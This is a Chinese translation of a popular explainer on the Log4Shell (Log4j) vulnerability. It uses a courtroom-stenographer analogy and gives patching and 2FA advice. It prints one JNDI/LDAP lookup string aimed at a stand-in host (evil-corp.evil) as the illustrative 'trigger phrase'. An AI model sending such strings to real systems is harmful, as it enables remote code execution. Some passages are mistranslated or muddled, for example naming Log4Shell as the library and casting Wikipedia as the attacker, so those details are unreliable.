曾影響全球網絡系統的Log4Shell,到底是何聖物?

Log4Shell就是一名間諜。

神譯局是36氪旗下編譯團隊,關注科技、商業、職場、生活等領域,重點介紹國外的新技術、新觀點、新風向。

編者按:日誌很受歡迎,但是用來創建日誌的超級通用工具包Log4Shell(普遍稱為“Log4J”)可不是個意志堅定的傢伙,只要它識別到了“關鍵觸發短語”,就會立馬叛變妥協,執行別人的命令,導致電腦程序混亂而無法正常運行。要想讓電腦系統順暢運行,看看本文中作者給出的建議吧,保證會讓你受益匪淺。本文來自翻譯。

這是一個多麼迷人的假期啊,可是在電腦系統的AWS區域出現了兩次故障之後,我就在想,如果能深入地探討一下可用性區域的恢復能力,再權衡一下實用性,就再好不過了。

那麼,什麼是Log4Shell,它有什麼性能?

1.簡介Log4Shell

Log4Shell是超級通用工具包,Java生態系統中的軟件應用它來創建日誌。想想看,關於讓-盧克·皮卡德(Jean-Luc Picard)在《星際迷航:下一代》(Star Trek: the Next Generation)中開頭的“船長日誌”(Captain’s Log)條目,我們除了把它們存儲(每毫秒可存儲數千個這樣的片段)在電腦裡,然後還要孜孜不倦地觀看記錄,引人入勝的情節會讓人一直看到喝乾最後一口伯爵茶(Earl Grey)。日誌的確是個好東西,它通常也很受歡迎,而且,也並不是歷史上系統危害的主要來源之一。它甚至是監視系統防止癱瘓的好方法!

因此,Log4Shell得到了應用。Log4Shell是該漏洞的友好名稱,正式名稱為CVE-2021-44228,大多人在提到這個漏洞時都只說“Log4J”(在下文中一律採用此種說法)。Log4J是一個遠程代碼執行(“RCE”)漏洞,這是OPSec的說法,其大概意思是“任何人都可以與有此漏洞的計算機交互,甚至可以通過Log4J的幫助,間接地命令該計算機去做任何他們想做的事情。”在Log4J的妥協性方面,當然會被認為是超級糟糕的。

下面我來打一個不算精準的比喻來詮釋一下Log4J到底是什麼,這肯定會讓工程師和法律專業人士感到不安。

假設Log4J是一名法庭速記員。

在這樣假設下,電腦就成了法庭。速記員在整個訴訟過程中一直都坐在某個房間裡,具體工作就是記錄法庭上所發生的一切。

法庭上的不同角色設置了不同的訪問級別,有一些是需嚴密保護的,限制訪問;而另外一些是開放的,可以由公眾自由訪問。速記員被視為具有特殊訪問權限的受信任的支持人員。

2.注意“觸發語”

瞭解Log4J就相當於能突然發現大約三分之一的速記員是間諜。這些人是不知情的潛伏特工,只要被正確的關鍵詞所觸發,他們就會竭盡全力地聽從任何命令。如果他們在文字記錄中寫下一個特殊的短語,那麼這種“觸發”就會發生,所以必須有人在法庭上說出這個具有“觸發”性的短語,它們注意到了短語之後,就會“砰”的一聲,應聲倒下並妥協了。

這個具有“觸發”性的短語是這樣的:

$ {JNDI: LDAP: / / evil-corp.evil / activate-manchurian-candidate-and-follow-these-instructions}

我打的比喻,與“光譜青蛙算盤”(Spectral Frog Abacus)的意思相差不大,這樣說可能會讓你感到很奇怪,那你就權當它們是一回事吧。

利用我打的比喻,解決問題就變得簡單多了。一週之內,有幾乎一半的企業報告說,它們正在探測Log4J漏洞。請看消息:“根據維基百科,截至2021年12月14日,全球近一半的公司網絡已積極進行了Log4J漏洞的探測,在24小時內檢測出60多個漏洞變體。檢查點軟件技術(Check Point Software Technologies)在一份詳細的分析中,也將Log4J漏洞潛在的損害描述為‘不可估量的’。”

維基百科就好比是一名壞蛋,他出現在世界各地的法庭上,大聲地喊出關鍵短語,看他們是否能危及到速記員。對於那些妥協的速記員,我們根本不知道他們接下來要做什麼。

所以無論是有組織的個人還是隨機的參與者,都可以在法庭上喊出一些東西,如果喊出的話被速記員注意並轉錄了,那麼這些人就觸動了速記員,很可能會讓他應聲倒下。更老練的人可能會安排一個庭審證人,讓他以一種微妙的方式說出激活碼(關鍵觸發性短語),而不是僅僅在法庭上明目張膽地大喊大叫。

速記員妥協後可能做的危害性最小的事情就是把法庭弄得一團糟。他們會停止工作,開始亂扔椅子,從而導致電腦程序被打亂,直到漏洞被清理掉,系統才能恢復正常運行。(這就像使用RCE會使機器崩潰一樣)

對於速記員來說,更狡猾的指示可能是這樣的:

(1)自我編輯文字記錄,所以他們的妥協點在記錄中隱藏著。

(2)利用對他們的信任,嘗試去做一些他們不被支持但可僥幸去做的奇怪的事,如篡改證據,通過注入錯誤信息試圖影響記錄的程序,或者只是分享已經被它們轉錄的那些私人內容記錄(有人可能會說出密碼,這可能嗎?或者說出信用卡號碼?)。

(3)因為速記員知道自己最終會被抓住,所以就打開了法庭上的幾扇鎖著的門,讓其他的壞人進來。

(4)通常還和欺詐供應鏈沆瀣一氣攪在一起

令速記員叛變的“隱形”指示基本就是這些。可就是這些,也挺可怕吧......但至少損害是有限的,因為妥協人員的范圍僅限於速記員,對吧?這和法庭上的其他妥協人員不一樣,那些妥協人員只是很容易被速記員欺騙或利用。

哦,等等,原來做筆記的不是只有速記員。法庭上的每一個人都在做筆記。不僅法官做了筆記,在所有權力位置上的每一個人也都做了筆記。他們和速記員一樣,都做了筆記。所以他們也和速記員一樣,有妥協性,也都在潛伏著,伺機而動。更糟糕的是,有些法庭喜歡“快速行動,打破常規”,因為法官、陪審團、控方、辯護、劊子手等等,這些超級法官們,他們也是速記員,會以超人的能力完成法庭上的所有功能。所以,只要是進入法庭的每一名工作人員,就可以輕松地管理整個法庭。

比喻會讓你一目瞭然嗎?是的,但這在軟件領域很常見。

如果你從事工程專業或參加過安全培訓,就可能聽說過最小特權原則。這種確保系統的每個組件僅具有足夠的權限在其自己的域中操作(也就是說,速記員沒有法官的權力)的限制將極大地減輕妥協系統可能造成的損害。損害被大大減輕之時,此刻,限制也就得到了好的回報。

但是,法庭上的每個人,即使是最有權勢的人,也都在做筆記。雖然速記員是法庭上最容易被騙寫下關鍵短語的人,但其他人也都很容易受到影響。

因此,任何一個團隊和公司,盡管已將所有事情都做得非常正確,仍然容易受到Log4J的攻擊。

德國信息安全辦公室(Office of Information Security)將Log4J漏洞列為該機構的最高威脅級別,稱其為“極其嚴重的威脅情況”。據其報告稱,幾次攻擊已經成功了,而攻擊的程度仍然難以評估。

這麼一講,Log4J很糟糕,給它打的比喻到這就結束了。我想,精通計算機的人員會很好地解決這個問題的,我在這裡的所有解釋應該也會使不精通計算機的人員較好地理解它。

3.幾點建議

首先,如果你生活在這個星球上,就需要意識到Log4J對自己的影響。

你在家裡上網嗎?上網的話在家裡就會有一個路由器,這個路由器有運行Java的絕好機會,運行Java時肯定就會記錄日誌,而且它通常有一個外部可用的管理門戶。因此,要經常檢查一下軟件更新,如果有最新版本,就要馬上更新安裝。安裝時,也許還要關掉外部管理門戶。

作為一個軟件消費者,最好牢記兩個基本原則,這將對自己非常有利:

(1)應用軟件升級。檢查自己電腦的配置,及時升級。全世界的軟件團隊都努力解決Log4J的問題,而且速度很快……當軟件需要我們人為地去更新時,我們只有及時地做了更新,才能在這些更新了的軟件運行中獲益。

(2)廣泛使用2FA。及時處理周內數據,否則密碼被洩露的幾率大幅上升;我敢打賭,haveibeenpwned.com將會在未來幾個月宣佈一批安全漏洞。如果還把密碼當作電子郵件帳戶、銀行帳戶等作為唯一保護措施,那你就要等著間諜入侵吧:來使用2FA吧,使用2FA是早晚的事兒。

你的孩子在使用Minecraft服務器嗎?(……或者,你自己也在使用?)Minecraft: Java版本已經被Log4J破壞了。

對於我們這些自認為是精通計算機人的人來說,對Log4J漏洞問題有很多的想法。在這裡只舉出3點簡單建議:

(1)任何一個需要使用我們自己的代碼運行Log4J的應用,如果能夠檢測得到,必須升級或刪除掉。

(2)我們都會得到提醒:在記錄信息時,必須始終對日誌輸入進行殺毒。其危害嚴重程度足以與SQL注入或XSS相媲美,但作為一種有效的安全操作,還遠沒有得到應有的足夠重視。

(3)全世界的系統管理員團隊都有一個最終的任務負責人,這就引出了我今天早上要說的最後一個也是最緊迫的問題:請給工作在網絡安全開放平台(OpSec,Open Platform for Security)上的人多一些關愛吧。

比如,對系統運維(Infra)人員、軟件開發和IT技術運維(DevOps)人員以及系統安全人員給予更多的同情和仁慈。如果你正在和為開放網絡平台的安全而默默奉獻的人一起喝咖啡或雞尾酒,請為他們買單吧。

因為Log4J漏洞,有很多人失眠了很久,還有更多的人因為要做出快速應對而投入了幾個工作日。

給程序員和網絡工程師朋友們的一個腳註:是的,在本文中,我知道自己過度簡化了很多內容,尤其是網絡部分,但我真的不想涉及網絡、網絡安全、web服務器的性質以及物聯網等諸如此類的內容,我模糊了“計算機”和“運行在計算機上的軟件”之間的界限……(用文字很難表達;歡迎各位給出技術指正);與此同時,無論自己的烤面包機上運行的是哪一個版本的Java,大家先去把它升級了吧。

譯者:甜湯

本文經授權發布,不代表36氪立場。

如若轉載請註明出處。來源出處:36氪